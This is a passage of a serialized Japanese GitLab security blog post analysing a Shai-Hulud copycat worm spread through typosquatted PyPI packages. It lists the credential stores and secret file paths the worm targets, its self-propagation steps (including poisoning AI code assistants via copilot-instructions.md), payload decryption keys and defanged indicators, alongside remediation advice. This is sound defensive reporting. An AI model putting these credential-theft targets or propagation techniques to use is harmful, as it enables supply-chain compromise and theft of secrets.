KB）は完全なShai-Hulud認証情報窃取ツールで、2,538個のハードコードされた文字列を含んでいます。",[713,1032,1033],{},"独自に解析を行う研究者向けに、AES復号鍵を以下に示します。",[1035,1036,1037,1054],"table",{},[1038,1039,1040],"thead",{},[1041,1042,1043,1048,1051],"tr",{},[1044,1045,1047],"th",{"align":1046},"left","レイヤー",[1044,1049,1050],{"align":1046},"鍵",[1044,1052,1053],{"align":1046},"IV",[1055,1056,1057,1073],"tbody",{},[1041,1058,1059,1063,1068],{},[1060,1061,1062],"td",{"align":1046},"Bunダウンローダー",[1060,1064,1065],{"align":1046},[734,1066,1067],{},"c95506221d18936328fbc7ddcd21e3dd",[1060,1069,1070],{"align":1046},[734,1071,1072],{},"48da5faeafac0ac88a410bb0",[1041,1074,1075,1078,1083],{},[1060,1076,1077],{"align":1046},"ワームペイロード",[1060,1079,1080],{"align":1046},[734,1081,1082],{},"7557c4e782a0622159476d1ea10d5236",[1060,1084,1085],{"align":1046},[734,1086,1087],{},"55a7d25e0e61b77cc175bcc3",[798,1089,1090],{"id":1090},"認証情報の収集",[713,1092,1093],{},"起動後、ワームは主要なクラウドおよびCI/CDプラットフォーム全般の認証情報を狙います。",[739,1095,1096,1106,1116,1122,1128,1145,1151,1157,1163,1169,1175,1181],{},[742,1097,1098,1101,1102,1105],{},[745,1099,1100],{},"GitHub Actions","：",[734,1103,1104],{},"GITHUB_TOKEN","、パーソナルアクセストークン、きめ細かいトークン、OIDCトークン、組織・リポジトリのシークレット、Actionsアーティファクト、Runnerプロセスメモリ",[742,1107,1108,1111,1112,1115],{},[745,1109,1110],{},"AWS","：IAMアクセスキー、シークレットキー、セッショントークン、IMDSインスタンス認証情報（",[734,1113,1114],{},"169[.]254[.]169[.]254","）、Secrets Managerエントリ、SSMパラメータ、STS連携トークン",[742,1117,1118,1121],{},[745,1119,1120],{},"Azure","：クライアントシークレット、マネージドIDトークン、Key Vaultシークレット、フェデレーテッド認証情報、Microsoft Graph APIトークン",[742,1123,1124,1127],{},[745,1125,1126],{},"GCP","：サービスアカウントキー、アプリケーションデフォルト認証情報、クラウドプラットフォームスコープトークン",[742,1129,1130,1133,1134,1137,1138,1137,1141,1144],{},[745,1131,1132],{},"HashiCorp Vault","：7つの既知のファイルシステムパス（",[734,1135,1136],{},"/var/run/secrets/vault-token","、",[734,1139,1140],{},"/etc/vault/token",[734,1142,1143],{},"/root/.vault-token"," など）からのVaultトークン、APIアクセス、Kubernetes Vault認証",[742,1146,1147,1150],{},[745,1148,1149],{},"npm / JFrog","：npmトークン、JFrog/Artifactory APIキー、OIDCトークン交換",[742,1152,1153,1156],{},[745,1154,1155],{},"PyPI","：公開トークン、OIDCミントトークン",[742,1158,1159,1162],{},[745,1160,1161],{},"RubyGems","：APIキー、gem公開認証情報",[742,1164,1165,1168],{},[745,1166,1167],{},"SSH","：ラテラルムーブメントのための秘密鍵",[742,1170,1171,1174],{},[745,1172,1173],{},"Kubernetes","：サービスアカウントトークン、kubeconfigファイル",[742,1176,1177,1180],{},[745,1178,1179],{},"Sigstore","：OIDCトークンとFulcio署名証明書（攻撃者が信頼されたIDでアーティファクトに署名可能になります）",[742,1182,1183,1186],{},[745,1184,1185],{},"データベース","：MongoDB、MySQL、PostgreSQL、Redisのパスワードが埋め込まれた接続文字列",[798,1188,1189],{"id":1189},"自己増殖",[713,1191,1192],{},"元のnpmバリアントと同様に、これは単なる窃取ツールではありません。自己増殖します。窃取した認証情報を使用して、ワームは以下の動作を行います。",[739,1194,1195,1202,1208,1211,1214],{},[742,1196,1197,1198,1201],{},"アクセス可能なGitHubリポジトリに ",[734,1199,1200],{},".github/setup.js"," とワークフローファイルをコミットし、他のCIパイプラインでワームを再実行させます",[742,1203,1204,1207],{},[734,1205,1206],{},".github/copilot-instructions.md"," を注入してAIコードアシスタントを汚染します",[742,1209,1210],{},"窃取したレジストリトークンを使用して、PyPI、npm、RubyGemsに追加の汚染パッケージを公開します",[742,1212,1213],{},"sudoersルールを注入してセルフホスト型CIランナーへの権限昇格を試みます",[742,1215,1216,1221],{},[717,1217,1220],{"href":1218,"rel":1219},"https://github.com/step-security/harden-runner",[],"StepSecurityのharden-runner","の存在を確認し、検出された場合は動作を変更します",[798,1223,1224],{"id":1224},"攻撃者について",[713,1226,1227,1228,1230,1231,1233,1234,1237],{},"5つのパッケージはすべてPyPIアカウント ",[734,1229,736],{}," が所有しています。このアカウントは2024年11月に正規パッケージ（",[734,1232,780],{},"：GitHubに11スターを持つStreamlit製画像生成UI）とともに作成されました。関連するGitHubアカウント（",[734,1235,1236],{},"github[.]com/elitexp","）は13年以上前に作成されており、大学のコースワークやLaravelプロジェクトを含む43の公開リポジトリを持っています。",[713,1239,1240,1241,1244],{},"アップロードメタデータによると、すべてのパッケージはユーザーエージェントとして ",[734,1242,1243],{},"Bun/1.3.14"," を使用して公開されています。これはマルウェアが実行チェーンの一部としてダウンロードするランタイムと同じです。",[713,1246,1247,1248,1250,1251,1254,1255,1257,1258,1260],{},"攻撃者は ",[734,1249,780],{}," 自体も武器化しました。バージョン0.0.1と0.0.2はクリーンですが、タイポスクワットキャンペーンの後、15:23と15:37 UTCに公開された ",[745,1252,1253],{},"バージョン0.0.3と0.0.4"," には、同じ ",[734,1256,810],{}," ドロッパーと難読化されたペイロードが含まれています。これにより、典型的なタイポスクワットよりも危険な攻撃となっています。",[734,1259,780],{}," は既存ユーザーを持つ実在のプロジェクトであり、これらのユーザーは通常の依存関係解決を通じて汚染されたアップデートを受け取る可能性があります。",[727,1262,1263],{"id":1263},"侵害の痕跡",[1035,1265,1266,1279],{},[1038,1267,1268],{},[1041,1269,1270,1273,1276],{},[1044,1271,1272],{"align":1046},"種別",[1044,1274,1275],{"align":1046},"インジケーター",[1044,1277,1278],{"align":1046},"説明",[1055,1280,1281,1294,1305,1317,1329,1341,1358,1372,1384,1395,1408,1420,1432,1444,1456,1469],{},[1041,1282,1283,1286,1291],{},[1060,1284,1285],{"align":1046},"package",[1060,1287,1288,1290],{"align":1046},[734,1289,749],{}," 3.1.4-3.1.7",[1060,1292,1293],{"align":1046},"悪意あるFlaskタイポスクワット",[1041,1295,1296,1298,1303],{},[1060,1297,1285],{"align":1046},[1060,1299,1300,1302],{"align":1046},[734,1301,755],{}," 3.1.4",[1060,1304,1293],{"align":1046},[1041,1306,1307,1309,1314],{},[1060,1308,1285],{"align":1046},[1060,1310,1311,1313],{"align":1046},[734,1312,763],{}," 2.34.3",[1060,1315,1316],{"align":1046},"悪意あるRequestsタイポスクワット",[1041,1318,1319,1321,1326],{},[1060,1320,1285],{"align":1046},[1060,1322,1323,1325],{"align":1046},[734,1324,771],{}," 2.4.7",[1060,1327,1328],{"align":1046},"悪意あるNumPyタイポスクワット",[1041,1330,1331,1333,1338],{},[1060,1332,1285],{"align":1046},[1060,1334,1335,1337],{"align":1046},[734,1336,780],{}," 0.0.3, 0.0.4",[1060,1339,1340],{"align":1046},"武器化された正規パッケージ",[1041,1342,1343,1346,1351],{},[1060,1344,1345],{"align":1046},"file",[1060,1347,1348],{"align":1046},[734,1349,1350],{},"{package}-setup.pth",[1060,1352,1353,1354,1357],{"align":1046},"自動実行ドロッパー（SHA256: ",[734,1355,1356],{},"6506d317...","）",[1041,1359,1360,1362,1366],{},[1060,1361,1345],{"align":1046},[1060,1363,1364],{"align":1046},[734,1365,895],{},[1060,1367,1368,1369,1371],{"align":1046},"バックアップ自動実行（",[734,1370,749],{}," のみ存在）",[1041,1373,1374,1376,1381],{},[1060,1375,1345],{"align":1046},[1060,1377,1378],{"align":1046},[734,1379,1380],{},"{package}/_index.js",[1060,1382,1383],{"align":1046},"難読化されたワームペイロード（5.2 MB）",[1041,1385,1386,1388,1392],{},[1060,1387,1345],{"align":1046},[1060,1389,1390],{"align":1046},[734,1391,886],{},[1060,1393,1394],{"align":1046},"システム一時ディレクトリ内の実行マーカー",[1041,1396,1397,1400,1405],{},[1060,1398,1399],{"align":1046},"network",[1060,1401,1402],{"align":1046},[734,1403,1404],{},"hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip",[1060,1406,1407],{"align":1046},"Bunランタイムのダウンロード",[1041,1409,1410,1412,1417],{},[1060,1411,1399],{"align":1046},[1060,1413,1414],{"align":1046},[734,1415,1416],{},"hxxps[://]upload[.]pypi[.]org/legacy/",[1060,1418,1419],{"align":1046},"ワームによる汚染PyPIパッケージの公開",[1041,1421,1422,1424,1429],{},[1060,1423,1399],{"align":1046},[1060,1425,1426],{"align":1046},[734,1427,1428],{},"hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/",[1060,1430,1431],{"align":1046},"AWS IMDS認証情報の窃取",[1041,1433,1434,1436,1441],{},[1060,1435,1399],{"align":1046},[1060,1437,1438],{"align":1046},[734,1439,1440],{},"hxxps[://]login[.]microsoftonline[.]com/",[1060,1442,1443],{"align":1046},"Azure ADトークンの取得",[1041,1445,1446,1448,1453],{},[1060,1447,1399],{"align":1046},[1060,1449,1450],{"align":1046},[734,1451,1452],{},"hxxps[://]fulcio[.]sigstore[.]dev",[1060,1454,1455],{"align":1046},"Sigstore証明書のリクエスト",[1041,1457,1458,1461,1466],{},[1060,1459,1460],{"align":1046},"actor",[1060,1462,1463,1465],{"align":1046},[734,1464,736],{}," (PyPI)",[1060,1467,1468],{"align":1046},"パッケージ所有者",[1041,1470,1471,1473,1477],{},[1060,1472,1460],{"align":1046},[1060,1474,1475],{"align":1046},[734,1476,1243],{},[1060,1478,1479],{"align":1046},"アップロード時のユーザーエージェント",[727,1481,1482],{"id":1482},"影響を受けた場合の対処法",[713,1484,1485],{},"これらのパッケージのいずれかがお使いの環境にインストールされている場合：",[991,1487,1488,1494,1497,1505,1508],{},[742,1489,1490,1491,1493],{},"パッケージを直ちに削除し、システムの一時ディレクトリ内の ",[734,1492,886],{}," マーカーファイルを確認してください。",[742,1495,1496],{},"パッケージがインストールされた環境でアクセス可能だったすべての認証情報をローテーションしてください。CI/CDトークン、クラウドプロバイダーの認証情報、SSHキー、レジストリ公開トークンが含まれます。",[742,1498,1499,1500,1137,1502,1504],{},"GitHubリポジトリで予期しないコミット（特に ",[734,1501,1200],{},[734,1503,1206],{},"、または変更されたワークフローファイルに一致するもの）を監査してください。",[742,1506,1507],{},"パッケージレジストリアカウント（PyPI、npm、RubyGems）で公開していないパッケージがないか確認してください。",[742,1509,1510],{},"CI/CDパイプラインのログで予期しないBunのダウンロードやJavaScriptの実行がないか確認してください。",[727,1512,1513],{"id":1513},"タイムライン",[1035,1515,1516,1525],{},[1038,1517,1518],{},[1041,1519,1520,1523],{},[1044,1521,1522],{"align":1046},"日時",[1044,1524,274],{"align":1046},[1055,1526,1527,1535,1549,1560,1568,1576,1587,1595,1603,1616],{},[1041,1528,1529,1532],{},[1060,1530,1531],{"align":1046},"2026-05-12",[1060,1533,1534],{"align":1046},"TeamPCPがShai-Huludワームをオープンソース化",[1041,1536,1537,1540],{},[1060,1538,1539],{"align":1046},"2026-06-07 13:47 UTC",[1060,1541,1542,1543,1137,1546,1357],{"align":1046},"プローブバージョン公開（",[734,1544,1545],{},"rlask@3.1.3",[734,1547,1548],{},"rsquests@2.34.2",[1041,1550,1551,1554],{},[1060,1552,1553],{"align":1046},"2026-06-07 14:20 UTC",[1060,1555,1556,1557,1559],{"align":1046},"最初の悪意あるバージョン（",[734,1558,1002],{},"）を28秒以内に検知",[1041,1561,1562,1565],{},[1060,1563,1564],{"align":1046},"2026-06-07 14:24 UTC",[1060,1566,1567],{"align":1046},"自動解析完了、悪意あり/重大として分類",[1041,1569,1570,1573],{},[1060,1571,1572],{"align":1046},"2026-06-07 14:27-15:04 UTC",[1060,1574,1575],{"align":1046},"4つのパッケージ名全体でさらに6つの悪意あるバージョンが公開",[1041,1577,1578,1581],{},[1060,1579,1580],{"align":1046},"2026-06-07 15:23-15:37 UTC",[1060,1582,1583,1584,1586],{"align":1046},"攻撃者が自身の正規パッケージ ",[734,1585,780],{}," を武器化（v0.0.3、v0.0.4）",[1041,1588,1589,1592],{},[1060,1590,1591],{"align":1046},"2026-06-07",[1060,1593,1594],{"align":1046},"静的解析により完全なShai-Huludワームを確認",[1041,1596,1597,1600],{},[1060,1598,1599],{"align":1046},"2026-06-07 16:01 UTC",[1060,1601,1602],{"align":1046},"すべての悪意あるパッケージをPyPIセキュリティチームに報告",[1041,1604,1605,1608],{},[1060,1606,1607],{"align":1046},"2026-06-08 03:15:06 UTC",[1060,1609,1610,1615],{"align":1046},[717,1611,1614],{"href":1612,"rel":1613},"https://advisories.gitlab.com/",[],"GitLab Advisory Database","にアドバイザリを追加",[1041,1617,1618,1621],{},[1060,1619,1620],{"align":1046},"2026-06-08",[1060,1622,1623],{"align":1046},"PyPIが悪意あるパッケージのすべてのリリースを削除",[727,1625,1627],{"id":1626},"gitlabを活用したパッケージの検出方法","GitLabを活用したパッケージの検出方法",[713,1629,1630,1631,1636,1637,1640],{},"GitLab Ultimateをご利用の場合、",[717,1632,1635],{"href":1633,"rel":1634},"https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/",[],"Dependency Scanning","を使用して、プロジェクト内のこれらのパッケージへの露出を自動的に検出できます。",[717,1638,1614],{"href":1612,"rel":1639},[],"に、5つのパッケージすべてを対象とするアドバイザリ（GMS-2026-572〜GMS-2026-576）を申請しています。マージされると、Dependency Scanningが有効なプロジェクトのパイプライン結果と脆弱性レポートにこれらのパッケージがフラグ表示されます。",[713,1642,1643,1644,1649],{},"複数のリポジトリを管理するチームには、Security Analyst Agentを備えた",[717,1645,1648],{"href":1646,"rel":1647},"https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/",[],"GitLab Duo Chat","を使用した迅速なトリアージをお勧めします。次のような質問を試してください。",[739,1651,1652,1655],{},[742,1653,1654],{},"「Shai-Hulud PyPIキャンペーンの影響を受けている依存関係はありますか？」",[742,1656,1657],{},"「このプロジェクトに悪意あるPython依存関係はありますか？」",[727,1659,1660],{"id":1660},"今後の見通し",[713,1662,1663,1664,1666,1667,1669],{},"TeamPCPが5月にShai-Huludワームをオープンソース化した後、このキャンペーンを予測していました。独立した攻撃者がツールキットを入手し、新たなエコシステムに展開しています。Pythonバリアントは異なる初期感染ベクター（",[734,1665,806],{}," スクリプトではなく ",[734,1668,810],{}," ファイル）を使用していますが、同じ認証情報収集および自己増殖のコードを内包しています。",[713,1671,1672],{},"監視システムはnpm、PyPI、その他のレジストリ全般での模倣展開を継続して追跡しています。新たな情報が入り次第、この記事を更新します。",[1674,1675,1676],"blockquote",{},[713,1677,1678,1679,1684],{},"脆弱性リサーチチームのその他の記事は、",[717,1680,1683],{"href":1681,"rel":1682},"https://about.gitlab.com/ja-jp/blog/categories/security-labs/",[],"Security Labsサイト","でご覧いただけます。",[1686,1687,1688],"style",{},"html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":825,"searchDepth":861,"depth":861,"links":1690},[1691,1692,1699,1700,1701,1702,1703],{"id":729,"depth":861,"text":729},{"id":796,"depth":861,"text":796,"children":1693},[1694,1695,1696,1697,1698],{"id":800,"depth":937,"text":800},{"id":986,"depth":937,"text":986},{"id":1090,"depth":937,"text":1090},{"id":1189,"depth":937,"text":1189},{"id":1224,"depth":937,"text":1224},{"id":1263,"depth":861,"text":1263},{"id":1482,"depth":861,"text":1482},{"id":1513,"depth":861,"text":1513},{"id":1626,"depth":861,"text":1627},{"id":1660,"depth":861,"text":1660},"2026-06-09","GitLabの脆弱性リサーチチームが、PyPIを標的とした新たなPythonサプライチェーン攻撃を発見しました。悪意あるパッケージがShai-Huludワームを展開し、主要なクラウドプロバイダーのCI/CDシステムから認証情報を窃取します。","md","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png",{},"/ja-jp/blog/shai-hulud-copycat-campaign-targets-python-developers",{"config":1711,"title":705,"ogImage":1712,"description":1705},{"noIndex":11},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772630163/akp8ly2mrsfrhsb0liyb.webp","shai-hulud-copycat-campaign-targets-python-developers","ja-jp/blog/shai-hulud-copycat-campaign-targets-python-developers",[1716,1717],"security","security releases","BlogPost","2026-06-10","9aK3-iH6WFmYh_rNDbvKGBTAMrxbmR-vjcODWMmZ8IQ",[1722,1729,1735],{"title":1723,"heroImage":1724,"category":10,"description":1725,"authors":1726,"slug":1728,"externalUrl":6},"GitLab CI/CDとDuoで自動検知テストフレームワークを構築する","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","GitLabのSignals Engineeringチームが構築したWATCHフレームワークを通じて、セキュリティ監視パイプラインを継続的に検証する方法をご紹介します。",[1727],"Evan Baltman","automated-detection-testing-framework",{"title":1730,"heroImage":1707,"category":10,"description":1731,"authors":1732,"slug":1734,"externalUrl":6},"3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ","2026年3月、Trivy・Checkmarx KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。",[1733],"Grant Hickman","pipeline-security-lessons-from-march-supply-chain-incidents",{"title":1736,"heroImage":1737,"category":10,"description":1738,"authors":1739,"slug":1741,"externalUrl":6},"GitLabがnpmサプライチェーンへの大規模攻撃を発見","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",[1740,708],"Michael Henriksen","gitlab-discovers-widespread-npm-supply-chain-attack",1786803769405]